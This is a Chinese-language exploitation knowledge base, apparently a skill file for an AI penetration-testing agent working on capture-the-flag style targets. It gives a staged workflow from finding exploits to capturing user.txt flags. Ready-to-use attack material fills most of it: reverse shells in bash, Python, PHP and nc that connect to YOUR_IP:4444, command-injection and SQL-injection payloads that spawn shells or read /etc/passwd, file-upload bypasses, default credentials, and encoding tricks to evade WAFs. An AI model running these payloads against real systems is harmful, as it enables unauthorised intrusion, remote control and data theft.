ExploitationKnowledgeBaseSkill exploitation-knowledge

这个知识库提供了全面的漏洞利用方法和技术,包括将发现的漏洞转化为实际访问权限、寻找和适配漏洞利用程序、在非交互式环境中工作、建立稳定的shell以及捕获用户标志。关键词包括漏洞发现、漏洞适配、初始访问、Shell稳定化、用户标志捕获。

渗透测试 0 次安装 2 次浏览 更新于 3/3/2026

漏洞利用知识库

目的

这个知识库提供了全面的漏洞利用方法和技术。它涵盖了将发现的漏洞转化为实际访问权限、寻找和适配漏洞利用程序、在非交互式环境中工作、建立稳定的shell以及捕获用户标志。

核心主题涵盖

  1. 漏洞发现:寻找与发现的服务相关的漏洞利用程序
  2. 漏洞适配:修改漏洞利用程序以在目标环境中工作
  3. 初始访问:获得命令执行或shell访问
  4. Shell稳定化:升级到稳定、可用的shell
  5. 用户标志捕获:定位并读取user.txt

可用工具

漏洞数据库

  • searchsploit - 本地漏洞数据库搜索
  • msfconsole - Metasploit框架
  • 手动搜索:ExploitDB、GitHub、安全通告

Shell工具

  • 反向shell:bash、python、php、nc
  • Web shells:PHP、ASP、JSP
  • rlwrap nc - 稳定shell

Web漏洞利用

  • sqlmap - SQL注入
  • curl - 手动Web测试
  • 文件上传绕过技术
  • 命令注入测试

凭证测试

  • hydra - 服务暴力破解(有限使用)
  • ssh/ftp/mysql - 测试发现的凭证

漏洞利用工作流程

第1阶段:多源漏洞发现

**核心原则:**并行使用多个漏洞源 - 永远不要依赖单一来源。

分层漏洞搜索:

# 第1层:本地数据库(最快)
searchsploit "服务版本"
searchsploit CVE-YYYY-XXXXX
# 如果找到 → 进行分析
# 如果未找到 → 立即尝试第2层

# 第2层:Metasploit框架
msfconsole -q -x "search type:exploit name:service_name; exit"
# 如果找到 → 使用msfconsole测试
# 如果未找到 → 立即尝试第3层

# 第3层:在线资源(GitHub、Google)
# GitHub API搜索(自动化)
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html_url'

# Google搜索(如果需要手动)
# 搜索:"CVE-YYYY-XXXXX exploit poc github"
# 搜索:"service_name version exploit"

# 第4层:适配或创建自定义漏洞利用
# 根据漏洞描述/通告
# 修改现有PoC以适应您的环境

关键规则:

  1. 尝试所有层 - 不要在第1层失败时停止
  2. 并行搜索 - 如果时间允许,同时搜索多个来源
  3. 交叉验证 - 如果存在多个漏洞利用,首先尝试最可靠/最新的
  4. 跟踪来源 - 在successful_paths中记录哪个来源有效

第2阶段:漏洞分析

运行前:

  1. 阅读漏洞利用代码 - 理解它的功能
  2. 检查需求 - 需要的库、凭证
  3. 确定目标参数 - IP、端口、载荷位置
  4. 计划适配 - 需要修改什么

第3阶段:漏洞适配

常见的修改需求:

A. Python漏洞利用

# 原始(交互式)
import sys
target = sys.argv[1]
shell = raw_input("Enter command: ")

# 适配(非交互式)
target = "10.10.10.1"
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

B. Metasploit漏洞利用

# 使用非交互式模式
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP; run; exit"

C. 反向Shell载荷

# Bash反向shell
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

# Python反向shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PHP反向shell(用于上传)
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>

# NC反向shell
nc YOUR_IP 4444 -e /bin/bash
# 或者如果-e不可用:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f

第4阶段:监听器设置

在触发漏洞利用之前始终启动监听器:

# 简单监听器
nc -lvnp 4444

# 使用rlwrap稳定监听器
rlwrap nc -lvnp 4444

第5阶段:执行

执行漏洞利用并验证成功:

# 运行漏洞利用
python3 exploit.py

# 如果成功,您应该在监听器中看到连接
# 测试:
id
whoami
pwd

第6阶段:Shell稳定化

一旦您有了基本的shell:

# 升级到TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 然后按Ctrl+Z
stty raw -echo; fg
export TERM=xterm

常见攻击向量

1. 文件上传漏洞

# 测试简单上传
curl -F "file=@shell.php" http://TARGET/upload.php

# 绕过限制
# 尝试:shell.php.jpg, shell.phtml, shell.php5, shell.PhP

# 查找上传的文件
gobuster dir -u http://TARGET/uploads -x php,phtml

# 触发shell
curl http://TARGET/uploads/shell.php?cmd=id

2. SQL注入

# 测试SQLi
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3

# 如果找到,尝试获取shell
sqlmap -u "http://TARGET/page.php?id=1" --os-shell

# 或读取文件
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd

3. 命令注入

# 测试常见注入点
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"

# 获取反向shell
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

4. 公开漏洞利用

# 如果您发现CVE-2021-XXXX适用
# 搜索PoC
searchsploit CVE-2021-XXXX
# 或检查GitHub
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'

# 下载并适配
wget https://raw.githubusercontent.com/user/repo/exploit.py
# 修改目标IP、端口、载荷
# 运行
python3 exploit.py

5. 默认凭证

测试这些FIRST BEFORE复杂漏洞利用:

# SSH
ssh admin@TARGET  # 尝试:admin/admin, root/root, root/toor

# FTP
ftp TARGET  # 尝试:anonymous/anonymous, admin/admin

# MySQL
mysql -h TARGET -u root -p  # 尝试:root/'', root/root

# Web Admin Panels
# 尝试:admin/admin, admin/password, admin/admin123

环境检测和载荷适配

**核心原则:**在选择漏洞利用方法之前,始终探测环境。

漏洞利用前环境检查

检查您的攻击机器:

# 检查关键工具和版本
java -version 2>&1 | head -1       # 对于JNDI、反序列化漏洞利用
python3 --version                  # 对于漏洞利用脚本
gcc --version                      # 对于编译漏洞利用
which nc netcat ncat               # 对于反向shell

# 记录环境限制
# 示例:如果Java > 8,JNDI注入将被阻止
# 示例:如果没有gcc,不能编译C漏洞利用 → 需要预编译或基于脚本的

检查目标环境(在获得RCE后):

# 通过webshell或命令注入,测试可用的内容:
which nc python python3 php perl bash sh curl wget

# 测试特定版本如果漏洞利用需要它们
python --version
php --version

# 检查可写目录
ls -la /tmp /dev/shm /var/tmp

# 检查过滤/WAF
# 尝试:echo test
# 尝试:cat /etc/passwd
# 如果被阻止,尝试base64编码或其他绕过

自适应载荷选择

反向Shell的决策树:

1. 我们有RCE吗?
   └─ 是 → 进行第2步
   └─ 否 → 先获得RCE(文件上传、SQLi等)

2. 检查目标环境
   └─ nc可用? → 使用nc反向shell
   └─ python可用? → 使用python反向shell
   └─ php可用?(web服务器) → 使用PHP反向shell
   └─ bash可用? → 使用bash /dev/tcp方法
   └─ 都没有? → 上传二进制文件或使用替代方法

3. 测试过滤
   └─ 尝试基本命令:echo test
   └─ 如果特殊字符被阻止(/, &, >, |) → 使用编码:
      - Base64:echo BASE64 | base64 -d | bash
      - 十六进制编码
      - URL编码
   └─ 如果命令被关键词过滤 → 尝试替代品:
      - cat → head, tail, nl, more, less
      - nc → /dev/tcp, telnet, socat

示例自适应流程:

# 第1步:通过文件上传获得RCE,测试环境
curl "http://TARGET/shell.php?cmd=which nc"
# 响应:为空(nc不可用)

# 第2步:尝试python
curl "http://TARGET/shell.php?cmd=which python3"
# 响应:/usr/bin/python3(可用!)

# 第3步:使用python反向shell
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"

# 如果失败并出现错误,诊断:
# - 语法错误? → 检查字符过滤
# - 无响应? → 可能是WAF阻止
# → 尝试base64编码版本

漏洞利用失败诊断

当漏洞利用失败时,系统地诊断:

# 类型1:完全没有响应
可能的原因:
- 防火墙阻止
- 错误的靶目标IP/端口
- 服务实际上不脆弱
行动:验证目标可达,尝试不同的端口,重新检查漏洞

# 类型2:返回错误消息
可能的原因:
- 缺少依赖(库、工具)
- 目标环境的语法错误
- 版本不匹配
行动:仔细阅读错误,安装缺失的依赖,适配漏洞代码

# 类型3:漏洞利用运行但没有shell
可能的原因:
- 载荷被过滤阻止
- 目标缺少所需工具(nc, python)
- 防火墙阻止出站连接
行动:尝试不同的载荷编码,使用不同的shell方法,首先测试简单命令

# 类型4:工具特定失败(例如,Metasploit失败)
可能的原因:
- Metasploit模块中的bug
- 配置问题
行动:尝试替代漏洞利用来源(GitHub,手动PoC),检查模块选项

在状态中记录诊断:

jq '.failed_attempts += [{
  "exploit": "CVE-2021-12345",
  "tool": "metasploit",
  "failure_type": "no shell received",
  "diagnosis": "target missing nc, switched to python payload",
  "resolution": "used GitHub PoC with python reverse shell - success"
}]' .pentest-state.json

处理非交互式Shells

由于您在CLI-only环境中:

在没有TTY的情况下执行命令

# 而不是交互式shell,使用命令执行
curl http://TARGET/shell.php?cmd=cat+/etc/passwd

# 命令链
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la

# 使用分号
curl http://TARGET/shell.php?cmd=id;whoami;pwd

后台反向Shells

# 在后台启动监听器
nc -lvnp 4444 > shell-output.txt 2>&1 &

# 触发漏洞利用
python3 exploit.py

# 检查输出
cat shell-output.txt

# 通过命名管道发送命令
mkfifo /tmp/pipe
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &

用户标志捕获

一旦您有了命令执行:

1. 定位用户标志

# 搜索user.txt
find / -name "user.txt" 2>/dev/null
find /home -name "user.txt" 2>/dev/null
find /home -name "*.txt" 2>/dev/null

# 常见位置
cat /home/*/user.txt
cat /home/user/user.txt

2. 读取和验证

# 读取标志
cat /home/username/user.txt

# 验证格式(应该是32个字符的十六进制)
cat /home/username/user.txt | wc -c  # 应该是33(32 + 新行)

3. 更新状态

# 保存到状态文件
USER_FLAG=$(cat /home/username/user.txt)
jq --arg flag "$USER_FLAG" '.flags.user = $flag' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json

故障排除失败的漏洞利用

常见问题

  1. “连接被拒绝”

    • 检查监听器是否运行:netstat -tlnp | grep 4444
    • 验证防火墙允许连接
    • 尝试不同的端口
  2. “模块未找到”(Python)

    • 安装:pip3 install requests pycrypto
    • 或适配代码以去除依赖
  3. “权限被拒绝”

    • 漏洞利用可能需要root权限
    • 尝试不同的漏洞
  4. “漏洞利用工作但没有shell”

    • 检查载荷语法
    • 尝试不同的反向shell方法
    • 验证目标有bash/python/nc
  5. “超时"或"无响应”

    • 目标可能有WAF/IDS
    • 尝试编码载荷
    • 使用更慢、更隐蔽的方法

决策树

发现漏洞
│
├─ 是否有公开漏洞利用?
│  ├─ 是 → 在searchsploit/GitHub上搜索
│  │       → 适配并运行
│  └─ 否 → 你能编写自定义漏洞利用?
│          → 开发PoC
│
├─ 获得初始访问?
│  ├─ 是 → 捕获用户标志
│  │       → 继续权限提升
│  └─ 否 → 尝试替代向量
│          → 回顾侦察数据
│          → 尝试不同的服务
│
└─ 3次尝试后仍卡住?
   → 重新运行侦察
   → 查找遗漏的服务
   → 检查配置错误

输出格式

成功漏洞利用后:

{
  "status": "user_access_gained",
  "method": "File upload RCE via /uploads",
  "access_level": "www-data",
  "shell_type": "non-interactive webshell",
  "user_flag": "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6",
  "credentials_found": [],
  "next_steps": "Privilege escalation required for root flag"
}

成功标准

成功标准:

  1. ✅ 在目标上实现命令执行
  2. ✅ 定位并读取用户标志
  3. ✅ 标志是32个字符的十六进制字符串
  4. ✅ 在状态文件中记录访问
  5. ✅ 准备进入权限提升阶段

核心原则

  1. 适配漏洞利用 - 公开漏洞利用很少直接有效
  2. 处理非交互式 - CLI-only环境需要创造力
  3. 验证成功 - 总是用id, whoami测试访问
  4. 捕获标志 - 在进入privesc之前不要继续
  5. 记录方法 - 保存成功路径以供将来参考

记住

  • 先尝试简单的,再尝试复杂的(默认凭证在0-days之前)
  • 在运行之前阅读漏洞利用代码(了解它的功能)
  • 非交互式shell需要不同的命令
  • 用户标志必须在进入privesc之前捕获
  • 如果卡住,重新审视侦察以寻找遗漏的向量